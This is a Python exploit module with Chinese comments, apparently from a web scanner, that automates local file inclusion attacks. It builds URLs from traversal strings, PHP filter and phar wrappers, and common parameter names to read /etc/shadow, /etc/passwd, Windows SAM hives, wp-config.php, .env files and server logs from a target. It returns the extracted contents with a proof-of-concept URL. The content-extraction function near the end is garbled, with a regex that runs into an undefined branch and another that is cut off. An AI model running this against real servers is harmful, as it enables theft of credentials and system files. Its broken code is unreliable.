#!/usr/bin/env python # -*- coding: utf-8 -*- """ LFI(本地文件包含)漏洞利用模块 """ import logging import re import urllib.parse import random import string import base64 logger = logging.getLogger('xss_scanner') class LFIExploit: """LFI漏洞利用类""" def __init__(self, http_client): """ 初始化LFI漏洞利用模块 Args: http_client: HTTP客户端对象 """ self.http_client = http_client # 敏感文件列表 self.sensitive_files = [ # Linux系统文件 "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/issue", "/etc/group", "/etc/motd", "/proc/self/environ", "/proc/version", "/proc/cmdline", "/proc/sched_debug", "/proc/mounts", "/proc/net/tcp", "/proc/net/udp", "/proc/net/fib_trie", "/proc/net/route", # Windows系统文件 "C:\\Windows\\system32\\drivers\\etc\\hosts", "C:\\Windows\\win.ini", "C:\\boot.ini", "C:\\Windows\\System32\\config\\SAM", "C:\\Windows\\repair\\SAM", "C:\\Windows\\System32\\config\\RegBack\\SAM", # Web服务器配置文件 "/etc/httpd/conf/httpd.conf", "/etc/apache2/apache2.conf", "/etc/nginx/nginx.conf", "/usr/local/etc/nginx/nginx.conf", "/usr/local/nginx/conf/nginx.conf", # Web应用配置文件 "/var/www/html/config.php", "/var/www/html/wp-config.php", "/var/www/html/configuration.php", "/var/www/config/config.ini", ".env", "web.config", "config.json", "settings.py", # 日志文件 "/var/log/apache2/access.log", "/var/log/apache2/error.log", "/var/log/nginx/access.log", "/var/log/nginx/error.log", "/var/log/httpd/access_log", "/var/log/httpd/error_log", "/var/log/apache/access.log", "/var/log/apache/error.log", "/usr/local/apache/log/error_log", "/usr/local/apache2/log/error_log" ] # PHP封装器 self.php_wrappers = [ "php://filter/convert.base64-encode/resource=", "php://filter/read=convert.base64-encode/resource=", "phar://", "zip://", "data://text/plain;base64," ] # 目录遍历模式 self.traversal_patterns = [ "../", "..\\", "..%2f", "..%5c", "%2e%2e%2f", "%2e%2e/", "..%252f", "%252e%252e%252f", "....//", "....\\\\", ".../", "...\\", "%c0%ae%c0%ae/", "%25c0%25ae%25c0%25ae/" ] # 常见参数名 self.common_parameters = [ "file", "page", "path", "filepath", "filename", "load", "include", "require", "doc", "document", "folder", "root", "cont", "content", "layout", "mod", "module", "conf", "config", "url", "uri", "source", "src", "show", "view", "template" ] def exploit(self, vulnerability): """ 利用LFI漏洞 Args: vulnerability: 漏洞信息 Returns: dict: 利用结果 """ logger.info(f"尝试利用LFI漏洞: {vulnerability['url']}") url = vulnerability.get('url') parameter = vulnerability.get('parameter') payload = vulnerability.get('payload', '') if not url or not parameter: return { 'success': False, 'message': '缺少必要的漏洞信息(URL或参数名)', 'data': None } # 尝试不同的敏感文件 for file_path in self.sensitive_files[:10]: # 只尝试前10个文件 result = self._try_file_access(url, parameter, file_path) if result and result['success']: return result # 如果直接尝试失败,尝试使用PHP包装器(如果目标可能是PHP应用) for wrapper in self.php_wrappers[:3]: # 只尝试前3个包装器 for file_path in self.sensitive_files[:5]: # 只尝试前5个文件 result = self._try_wrapper_access(url, parameter, wrapper, file_path) if result and result['success']: return result # 如果直接访问和包装器都失败,尝试使用深度目录遍历 for traversal in self.traversal_patterns[:5]: # 只尝试前5个遍历模式 # 尝试不同深度 for depth in range(1, 11): # 1到10层深度 traversal_path = traversal * depth for file_path in self.sensitive_files[:3]: # 只尝试前3个文件 result = self._try_traversal_access(url, parameter, traversal_path, file_path) if result and result['success']: return result # 如果所有尝试都失败,返回失败结果 return { 'success': False, 'message': '未能成功利用LFI漏洞', 'data': None } def _try_file_access(self, url, parameter, file_path): """ 尝试直接访问文件 Args: url: 目标URL parameter: 参数名 file_path: 文件路径 Returns: dict: 利用结果 """ try: logger.info(f"尝试访问文件: {file_path}") # 构建注入URL parsed_url = urllib.parse.urlparse(url) query_params = dict(urllib.parse.parse_qsl(parsed_url.query)) query_params[parameter] = file_path # 重建查询字符串 new_query = urllib.parse.urlencode(query_params) new_url = urllib.parse.urlunparse(( parsed_url.scheme, parsed_url.netloc, parsed_url.path, parsed_url.params, new_query, parsed_url.fragment )) # 发送请求 response = self.http_client.get(new_url) # 检查响应是否含有敏感文件内容 if response and response.status_code == 200: file_content = self._extract_file_content(response.text, file_path) if file_content: logger.info(f"成功读取文件: {file_path}") return { 'success': True, 'message': f'成功利用LFI漏洞读取文件: {file_path}', 'data': { 'file_path': file_path, 'file_content': file_content[:1000] + ('...' if len(file_content) > 1000 else ''), 'full_content_length': len(file_content) }, 'poc': new_url } except Exception as e: logger.error(f"尝试访问文件时出错: {str(e)}") return None def _try_wrapper_access(self, url, parameter, wrapper, file_path): """ 尝试使用PHP包装器访问文件 Args: url: 目标URL parameter: 参数名 wrapper: PHP包装器 file_path: 文件路径 Returns: dict: 利用结果 """ try: payload = wrapper + file_path logger.info(f"尝试使用包装器访问文件: {payload}") # 构建注入URL parsed_url = urllib.parse.urlparse(url) query_params = dict(urllib.parse.parse_qsl(parsed_url.query)) query_params[parameter] = payload # 重建查询字符串 new_query = urllib.parse.urlencode(query_params) new_url = urllib.parse.urlunparse(( parsed_url.scheme, parsed_url.netloc, parsed_url.path, parsed_url.params, new_query, parsed_url.fragment )) # 发送请求 response = self.http_client.get(new_url) # 检查响应是否包含Base64编码内容 if response and response.status_code == 200: # 检查是否包含Base64编码的内容 base64_content = self._extract_base64_content(response.text) if base64_content: try: decoded_content = base64.b64decode(base64_content).decode('utf-8', errors='ignore') logger.info(f"成功使用包装器读取文件: {file_path}") return { 'success': True, 'message': f'成功利用LFI漏洞使用PHP包装器读取文件: {file_path}', 'data': { 'file_path': file_path, 'wrapper': wrapper, 'file_content': decoded_content[:1000] + ('...' if len(decoded_content) > 1000 else ''), 'full_content_length': len(decoded_content) }, 'poc': new_url } except Exception as e: logger.error(f"Base64解码失败: {str(e)}") except Exception as e: logger.error(f"尝试使用包装器访问文件时出错: {str(e)}") return None def _try_traversal_access(self, url, parameter, traversal_path, file_path): """ 尝试使用目录遍历访问文件 Args: url: 目标URL parameter: 参数名 traversal_path: 目录遍历路径 file_path: 文件路径 Returns: dict: 利用结果 """ try: # 处理绝对路径,只保留文件名 if file_path.startswith('/'): file_name = file_path.split('/')[-1] elif file_path.startswith('C:\\') or file_path.startswith('C:/'): file_name = file_path.replace('\\', '/').split('/')[-1] else: file_name = file_path payload = traversal_path + file_name logger.info(f"尝试使用目录遍历访问文件: {payload}") # 构建注入URL parsed_url = urllib.parse.urlparse(url) query_params = dict(urllib.parse.parse_qsl(parsed_url.query)) query_params[parameter] = payload # 重建查询字符串 new_query = urllib.parse.urlencode(query_params) new_url = urllib.parse.urlunparse(( parsed_url.scheme, parsed_url.netloc, parsed_url.path, parsed_url.params, new_query, parsed_url.fragment )) # 发送请求 response = self.http_client.get(new_url) # 检查响应是否含有敏感文件内容 if response and response.status_code == 200: file_content = self._extract_file_content(response.text, file_path) if file_content: logger.info(f"成功使用目录遍历读取文件: {file_path}") return { 'success': True, 'message': f'成功利用LFI漏洞使用目录遍历读取文件: {file_path}', 'data': { 'file_path': file_path, 'traversal_pattern': traversal_path, 'file_content': file_content[:1000] + ('...' if len(file_content) > 1000 else ''), 'full_content_length': len(file_content) }, 'poc': new_url } except Exception as e: logger.error(f"尝试使用目录遍历访问文件时出错: {str(e)}") return None def _extract_file_content(self, response_text, file_path): """ 从响应中提取文件内容 Args: response_text: 响应文本 file_path: 尝试访问的文件路径 Returns: str: 提取的文件内容,如果未找到返回None """ # 根据文件类型识别特征 if '/etc/passwd' in file_path: # 查找/etc/passwd文件特征 if re.search(r"root:.*:0:0:", response_text): # 提取完整的passwd文件内容 passwd_lines = re.findall(r"([a-z_][a-z0-9_-]*:[^:]*:[0-9]*:[0-9]*:[^:]*:[^:]*:[^\n]*)", response_text) if passwd_lines: return "\n".join(passwd_lines) elif '/etc/hosts' in file_path: # 查找/etc/hosts文件特征 if re.search(r"127\.0\.0\.1\s+localhost", response_text): # 提取完整的hosts文件内容 hosts_content = re.search(r"(127\.0\.0\.1\s+localhost.*?)(|define\s*\(\s*['\"](DB_|HOST|USER|PASSWORD).*?;)", response_text, re.DOTALL | re.IGNORECASE) if php_content: return php_content.group(1) elif '.log' in file_path: # 查找日志文件特征 if re.search(r"\[\d{2}/\w{3}/\d{4}.*?\]|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", response_text): # 提取日志条目 log_entries = re.findall(r"(\[\d{2}/\w{3}/\d{4}.*?\].*?)\n", response_text) if log_entries: return "\n".join(log_entries[:20]) + ("\n..." if len(log_entries) > 20 else "") # 通用文件内容检测 # 尝试根据文件类型的常见特征来判断是否成功读取到文件内容 file_extension = file_path.split('.')[-1].lower() if '.' in file_path else '' if file_extension in ['txt', 'ini', 'conf', 'config', 'json', 'xml', 'yaml', 'yml']: # 检查是否包含文件结构特征 if re.search(r"[\{\}\[\]=:\\><\n]", response_text) and len(response_text) > 20: # 返回前1000个字符作为文件内容 return response_text[:1000] # 如果无法确定具体文件类型,但响应不是HTML格式,可能是成功的 if not re.search(r"| 20: # 返回前1000个字符作为文件内容 return response_text[:1000] return None def _extract_base64_content(self, response_text): """ 从响应中提取Base64编码内容 Args: response_text: 响应文本 Returns: str: 提取的Base64内容,如果未找到返回None """ # 查找可能的Base64编码字符串 base64_pattern = r"([A-Za-z0-9+/]{20,}={0,2})" matches = re.findall(base64_pattern, response_text) # 检查每个匹配项是否是有效的Base64编码 for match in matches: try: # 尝试解码 decoded = base64.b64decode(match).decode('utf-8', errors='ignore') # 检查解码后的内容是否包含敏感信息 if (re.search(r"<\?php|root:|DOCTYPE|html|password=", decoded, re.IGNORECASE) and len(decoded) > 20): return match except Exception: continue return None